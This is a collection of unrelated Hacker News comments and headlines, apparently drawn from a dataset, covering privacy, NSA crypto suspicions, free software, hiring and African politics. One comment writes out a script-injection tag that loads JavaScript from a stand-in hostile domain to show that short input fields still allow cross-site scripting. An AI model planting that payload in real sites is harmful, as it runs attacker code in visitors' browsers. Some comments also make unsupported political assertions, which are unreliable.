skysight-inc/HackerNews huggingface dataset:
Another way to identify users is by the speed and rhythm they type their username and password.

For example, let's think about a hypothetical company that sells a per-seat license to a database, that wants to determine if multiple people are using a license for a single seat without false positives. The easiest case to detect are multiple concurrent logins from different IPs. However, if the service/database is used less frequently and concurrent logins would not occur, then it will be harder to catch. Detecting this is made more challenging because one user might login from different IPs, computers, operating system, browsers, etc.
"Bashar Assad gassed his country at night"

The matter is under investigation. Stop defaming him without publicly available proof.
The EFF is probably the best you're going to get.
There's a deeply nested thread, right above, of people arguing against that idea. You just need to replace 'wife' with 'NSA'.

I just point it out because I find it's funny.
...more to the point, there are certainly some unusual VC firms investing in "startups", aren't there?
You can't explain away centuries (millenia in some cases) of tribalism, with hatred and fear and discrimination passed from parents to children for generations as mere poverty. Poverty plays a role to be sure, but the situation is more complex (it always is.)
> How else can someone justify hiring someone if they haven't demonstrated that they're capable of picking up a new piece of technology?

Demonstrations are nice, but you're generally not going to get the chance to. I interviewed four times in the past year for jobs and got three offers, and I'd have gotten an offer on the fourth if I'd shown more interest in the position.

The people interviewing me never took more than a glancing look at my portfolio website. I've never written code on paper. I've never had to live code. It's only very few pure-software shops that do things like that.

Chances are you'll be interviewing at banks, or marketing companies, or at any of the vast majority of coding jobs that aren't supporting businesses in the technology sector. The people that run these businesses don't care half as much about technical chops. They do want to know if you can do your job, but in the non-technology world, attitude is more important.
tl;dr: The FSF would rather you did not use any mobile phone at all since none exist that match their requirements.

Nut jobs.
> Africans aren't more corrupt or warlike than anyone else

How do you know?

My history teacher never hesitated to teach us how Prussia was good at war, and how France sucked at war.

Edit: this is an honest question. If I said anything wrong, please let me know as well.
I think that quote could also be interpreted as saying that Google simply didn't see it as a change that qualified for the program, not that they weren't planning on fixing it. But again, I could be entirely wrong; I have no experience with either the team or the program. I just have a hard time imagining any of the engineers that I know there getting assigned a bug like this and clicking 'working as intended - will not fix'.
What's the difference between 99.9% effective and 100%? I velcroed my blind to my window and turned off any light sources.
J
I can see a very, very, very faint glow in a couple spots around the blind, and if I look sideways I can catch a tiny bit under the door. Is there any benefit to going further?
> Not stretching the point at all, because this isn't the only case of a security or trust breach, and once that is broken, you have no reason to trust them again.

This is foolish. Every non-trivial piece of software will eventually succumb to a security flaw. This does not mean the software is untrustworthy in toto.

You fix the bug and move on.
>Although there was a length-restriction on the user's name

As long as any field allows enough chars to:

<script src="http://evilbadpersondomain.com/forTheLulz.js"></script>

....anything is possible from there.
The thing is, most physical goods no longer have natural scarcity in rich western societies like the UK or US. A bottle of water is not at all scarce, but it's still illegal to take it from a store and use it without permission.
I'm wrong about what now? Where did I make any claims to be wrong about?
> Matrices were multidimensional arrays (I know, not quite the same in terms of maths, but hey I was young).

In math, if something has all the properties a kind of object is defined to have, it is that kind of object. Mathematics is based on definitions, so things are what they are defined to be, no more, no less.

In fact, you can implement mathematical structures in terms of other mathematical structures, as Peano did when he defined numbers and basic arithmetic in terms of set theory:

http://en.wikipedia.org/wiki/Peano_axioms
I've worked as an employee of a consultancy a few different times, and I've never been informed about the rates at which I was billed to clients.
Let's combine those narratives:

"H1-Bs are for specialized positions which you cannot find people in the USA to fill *at a price you're willing to pay."
When you say "IP is wrong," do you mean that it's morally wrong, that you have a natural right to copy and sell any photo that you find on the Internet? Or do you mean that it's wrong policy, in the sense that we would all be economically better off without any IP? Or both?

I view IP as a useful tool that allows content creators to earn a livelihood from their work. If you oppose IP and support legal file sharing, you forfeit the right to complain about the quality of TV, movies, video games, etc.
For all practical concerns, downloading FOSS in binary form is not that worst compared to source code, unless you are willing to audit thousands of lines of code before compiling (and is competent enough). The exploit can even be hidden into the compiler itself, not in the source.

I don't have a solution for this problem, I'm just commenting the fact that it is more complex than "compile from source" and that you have to draw a line somewhere unless you assemble your hardware from raw materials and write your own software.
> A case could be made that Apple and FSF are on the same page there.

Not really. Apple is very big into free software, but only free as in beer.

As you note, they build that software (and give it away effectively for free) in order to sell more hardware. The second they make it free as in speech every competitor can pick it up and put it on commodity hardware, destroying a major strength of Apple.
> constantly request captchas with annoying frequency

That's an anti-pattern that would annoy me more than the few minutes it would take to create an account.
It's likely close to true. The reason: all the good people already have jobs.
South African here - we have a lovely little bit of legislation known as RICA. Don't assume that African govts are backward in terms of technology.
The variety of "nothing up my sleeve" numbers listed in Wikipedia suggests that the NSA could brute force a "nothing up my sleeve" source backtracked from a vulnerable number they wanted to use.
The argument is that regular people do not care about open source.

You're reading too far into posts or something. I never said the statements were unrelated. They're definitely related, just not in the way you thought they were.

Compare to: "Regular users don't look for 'health' food, they want something purple." Nowhere is it concluded that something can't be both healthy and purple.

Bonus link: http://www.fastcompany.com/1739774/how-carrots-became-new-ju...
>If such water supplies are found in areas where there is conflict, I worry that it only would add to the conflict

I think you are completely right. Incoming anecdotal & speculation: My parents, born in Lagos Nigeria, basically saw this happen. They never planned to be in USA this long; I wasn't suppose to be born here. Basically, Shell(A gas station in USA) is strongly suspected of providing, at least in part, funding for a significant military/political action somewhere around 1970 - 1977. My parents, and several other Nigerians, who traveled to USA to get a degree then return to Nigeria no longer felt comfortable to return and came to the realization that they may have to live in USA for a very long time.

http://en.wikipedia.org/wiki/Natural_resources_of_Africa

Quote from Wiki:

"Despite these abundance of natural resources, claims suggest that many Western nations like the United States, Canada, France and the United Kingdom as well as emerging economic powerhouses like China often exploit Africa's natural resources today, causing most of the value and money from the natural resources to go to the West rather than Africa, further causing the poverty in Africa."
It is becoming crystal clear that people really do not understand how important this issue is, the degree to which it permeates this industry and how farked we are if we cannot begin to understand the foundational position we require in order to change it.

Thank you for your succinct statement, I have very little faith we will get through this any time soon given the reaction I see on HN, Reddit and other sites where the most seemingly qualified among us to do anything cannot even comprehend how pernicious this problem is.
Instead of abandoning the registration, maybe it could be streamlined to make it easier for the user.

In many cases it would be enough to just ask for user's email address. Giving just some email address would allow me in to service and I could start using it. On the background the system would send me the standard welcome message via email, but that would not require any immediate action from my behalf.

If I decided to become a regular user, I could then setup my password on the service. Maybe the system could point out in the UI that I'm not yet fully registered.

In case I forgot the whole thing and tried to use the same email to log on the service next week, the service would remind me that this email is already in use and ask me to go through the verification process to setup a password.
I wouldn't have batted an eye, no. But that's not my point; what makes it weird isn't how poorly the "trojan" was hidden, but in what a pointless place it was hidden.

The "backdoor Chinese Windows" idea is plausible, though.
Bob Rosenschein launches Curiyo
Linking back to a web page (any page) is not a get-out-of-jail card for copyright infringement.
With iBeacon, Apple is going to dump on NFC and embrace the Internet of things
Fast time and the aging mind
I doubt the NIST will ever be trusted again as any standards or specs they are in favor of will be immediately suspected of having some favorable vulnerability for the NSA.

Let's say they hold a contest for people to submit next generation cryptosystems, and that Algorithms A,B, and C make it to the final. If the NIST publishes critical remarks on A and C and seems to favor B, immediate skepticism and red flags will be raised. Does B have a hidden weakness the NSA knows about?

A standards organization can only run on its transparency and integrity.
Because I don't have anything for sale or require a signup? That's circular reasoning. If someone creates a site that isn't commercial, doesn't advertise anything, and doesn't require a signup, it's inevitably dismissed as a mere comment forum, regardless of its content. It's not defined by what it is, it's defined by what it isn't.

Bloggers don't offer popular -- not to say famous (http://en.wikipedia.org/wiki/Arachnophilia) -- programs for download. My site does. Bloggers don't offer online applications with wide acceptance (http://arachnoid.com/latex). My site does.

My site, online since 1996, had its present form before the term "blog" had its present meaning. All that has changed is it has more content people find useful.
A lot of the Chrome jailbreaks were done through attacking the embedded Flash player, which wasn't sandboxed at the time.

How well sandboxed is nginx? Answer: not at all.
Actually, that's not the answer. ngnix is sandboxed by using selinux, using a chroot jail, using AppArmor, or any one of a number of different ways.

How many years have gone by without a Java or web-based exploit being announced? 0. Maybe you should not throw stones, when your own house is made of glass.

Security and DRM are not two sides of the same coin. There are lots of insecure systems that aren't DRMed. And there are lots of ultra-secure OSes, like OpenBSD, that don't include DRM.

I'm not a tinfoil-hat type of person, but I have a healthy fear of code written by firmware engineers. That's why things like EFI and now this are terrible. They're basically shovelware that you can't get rid of on your PC. Like the uninstallable android apps, but 100x worse.
It is hilarious to see how agrieved Apple (and Android) fanboys here have become to read the FSF post.

Android and Apple, both have proprietary code. Both are inappropriate intrusions on users' freedom. Is it so hard to understand?
If it doesn't change the value then why didn't they use the 2nd image in the first place?
I speak as an African (Nigerian).

As humans, we plan into the future. However, our planning timeframes are limited by how far into the future we can imagine. Further, our ability to imagine the future depends on how likely we believe that future to be.

In the West where life is safe and prosperous, planning/imagining 20-30 years out is reasonable. In all likelihood, you will live that long. However, in war-torn African countries, the planning timeframe is much shorter for the people. If one faction can gain an advantage that gives them dominance over another faction for the next 2 years, they'll view that as ok. They do so because they can't actually think further than that. The past has taught them not to. This leads to awful decisions in a 10-yr frame. And so they stay trapped in a shitty situation.

I think the actionable question here is "How can an (x+n) year future be imagined?" where x is the current imagined future whether it be a day, month or year and n is any additional time.

Sadly, this question is philosophical until the basic needs of survival are met.
what's worrying here is that the decision hinges on "readily accessible to the general public"

This is a bizzare comment. The reporting here articulates the court's thinking in slightly more detail than the earlier piece:

the court didn't think much of Google’s argument that unencrypted data sent over a Wi-Fi network is “readily accessible to the general public” because both the hardware and software needed to intercept and decode the data are widely available.

People can easily buy technology to log every keystroke on someone’s computer, the court noted, but that did not make those keystrokes “readily accessible to the general public.”

Using technology to snoop on people behind closed doors in their own homes, is using technology to pierce the veil of "what is readily available to the general public". Basically, if you have to use a fancy gizmo to make it accessible, even if the gizmo is available to the public, it does not make all information retreivable with that gizmo public by default. Which seems like fairly common sense.

[NB: That doesn't make google guilty of anything. It just means that their arguments to date have missed the mark in getting the suit thrown out without further hearing]
It's worthwhile to recollect that Google not only downloaded open payload data, they also lied about their reasons for doing so time and again.

They went from "no, we do not collect" --> "oops, we did but only in error" --> "double oops, our software was designed to actually collect that" --> "alright, we'll delete it right now" --> "shucks, we totally forgot to delete it even after 2 years".

CJR: Poor coverage of Google's Street View scandal settlement - http://www.cjr.org/164392/show/c0346a3dba4ef72566049d60bf3ac...?
Some other suggestions along the same lines as you suggest:

Interrupt a court case so that the courtroom can appreciate the
plight of dying African children before they get back to quibbling
over legal wording.

Speak at a conference for accountants so that they can appreciate
the plight of dying African children before they get back to
fiddling with spreadsheets.

Share this in sexual abuse groups so that they can appreciate the
plight of dying African children before they get back to discussing
their own troubles.

Visit schools and interrupt classrooms so that they can appreciate
the plight of dying African children before they get back to
learning about math, English, or history.

---

Or... how about we keep human interest stories that would otherwise be covered by major media off of HN unless there is a component of the story which is particularly hackerish and gratifies one's intellectual curiosity? As it stands, this story is little more than "large underground aquifers exist" which is unlikely to gratify anyone's intellectual curiosity any more than "large deposits of coal exist". If finding this aquifer was accomplished via innovative new technology, let's see the story on that.

How about a discussion on Alain Gachet's WATEX publications which I understand to be the technological basis that enabled this find:

http://fr.linkedin.com/pub/alain-gachet/0/71a/93b#profile-pu...
It sounds great but 200 dollars is a rip off. Someone should hack together a cheap one and sell it. Perhaps linked to a smartphone
This isn't a new thing. Land mines have been used to deny farmland to the enemy, which has effects that last for decades if not centuries. War has always been hell.
Not that I'm a fan of the Apple fingerprint sensor, but there is a parallel here to Apple's wholesale adoption of USB, elimination of floppy drives, inclusion of wireless, elimination of physical phone keyboards etc. The market benefits when companies go all in on good features.
You know, of all the things to be worried about regarding Google and privacy, capturing publicly-broadcast wireless-network packets is not really high on my list.
Semplice Linux 5 Will Protect You from the NSA
> but couldn't find a better way to do so surreptitiously and effectively without weakening security against foreign attackers as well.

Have we seen any evidence that the NSA cares _at all_ about avoiding "weakening security against foreign attackers" in their quest to weak security against themselves as attackers?

Aren't they _neccesarily_ weakening security against foreign attackers when they intentionally weaken crypto, which we now know they do?
The FSF refuses to "approve" something just because they point out nonfree software that you can use.

Fedora fails for this reason - it's 100% free software with some firmware blobs kept aside that are, yknow, necessary to make some hardware work.

It's dogmatic to the point of absurdity. A piece of software is free software because of what it is, not because of what its makers suggest/allow you install on it.
Well, at least on Debian it's in `vim-common` package. http://packages.debian.org/search?searchon=contents&keywords...
Yes, neither have I. On a few occasions, I accidentally stumbled on the numbers and was quite shocked to see that it was whole-number multiples over what I earned. Large, whole-numbers. Especially on government contracts.
You get a better split with the mob. 45%? Wow.
Court: NSA Violated Privacy Because No One Understood The Rules
MS Internet Explorer v10 has usability suckage
Just spent 30min on phone explaining to G'Ma how to enable Javascript on her new computer...

30 god dam minutes is enough...
Sorry, I did not mean to discount the impact of tribalism. It is certainly a significant issue in East Africa (I can't speak for other areas). The history of the USA shows that even affluent western countries suffer from the Us vs Them mindset.

That said, I do believe that poverty is the more significant issue. Increased development generally correlates with stronger government [1], and with better access to government. When this happens, disputes are more likely to be resolved through the legal system.

I'm not an expert on the interaction between tribalism and warfare in developing countries, so don't think I'm trying to claim infallibility. This is just what I believe to be true.

[1] I say correlates, because I can't say that development causes stronger government. It could be the other way around

EDIT: Okay, now it's my turn to ask: what did I say wrong? Would you like to discuss it, rather than just downvoting?.
> Actually, even if it provided no value whatsoever, even if Buzzfeed did not make a profit off of it, this would still be infringement and the photographer is entitled to remuneration.

I never said the guy was wrong. I said I think this is silly and he should just move on.
First, a lot of NIST crypto standards are relatively anodyne; for instance, the NIST GCM standard basically just explains how to do multiplication in GF(2^128), and the NIST CTR mode standard just lays out a bunch of ways you can arrange your counter block. Those standards remain valuable and aren't likely to harbor backdoors.

Second, it has always been the case that favorable responses from the USG in general and NSA in particular have cast a pall over proposed standards. Isn't that why there's a RIPEMD160, for instance?
The real story: There's a chance that each and every one of us might get $10k from Google!

Don't bury the lead.
> Take a look at apple.com today and note which new iPhone appears first the 5C, not the 5S. Which phone did they show a commercial for? The 5C.

Which one will have a higher profit margin for Apple? The 5C.
IndieMapper
You say "sponge value" I say "make visible". Content that no one can see has no value as content. Not defending this particular site, I think it's pretty awful. But some content creators should keep a feet on the ground too.
I like it. Sort of like Mechwarrior meets Minecraft meets My University Education in Mollecular/Astrophysics. I suspect the major issues would be with time scaling between user perspectives (a huge issue in MMO games), the learning curve, interface and simulation accuracy.
Then I would ask why is this vulnerability not up for monetary compensation?

http://www.google.ca/about/appsecurity/reward-program/

It is a script that allows one to control behavior (even though in a limited way, but yet authentic way) of Google's web property.

Why did they say that this was not a security sensitive issue? And why did the tone change upon seeing public disclosure looming?

Anyways, I am not happy about handling of this situation. Good on Tom for being responsible, and the exploit did not wander into irresponsible hands. Because, within a day everybody on Google Scholar would have got this exploitable email.
Microsoft won’t fix it. (The author submitted the report months ago.)

But who cares, as IE10 supports CSS3 gradients… right?
I had a friend bring this exact thread up over dinner. The reaction of pretty much everyone else at the table, myself included, was "Okay, and? How is this different from what the FSF does every day? Are they planning on releasing some silly PR flack every time a company comes out with a new device?"

Meanwhile, the benefits of proprietary software are more immediately obvious (the professional content creation market, for instance, is completely unserved on Linux last I checked), while the benefits of free/open source software are much more subtle and more ideological than functional.

The recent NSA shenanigans have (rightly, IMO) elevated the priority of that ideological fight, but it still is what it is.

(Note that I believe the FSF is fighting a good fight, but their organization and leadership appears to be dogmatic and often unrealistic)
You're ignoring the 'think it's important that the point is raised' factor. If there was a user-visible flagging mechanism, then a hate-to-be-that-guy would use it and never feel any urge to make an annoying post, win-win. I strongly doubt that most people claiming to 'hate to be that guy' are lying.
Yes, but you also expected them to pay more attention to your exploit?
Facebook beats Google in search for best workplace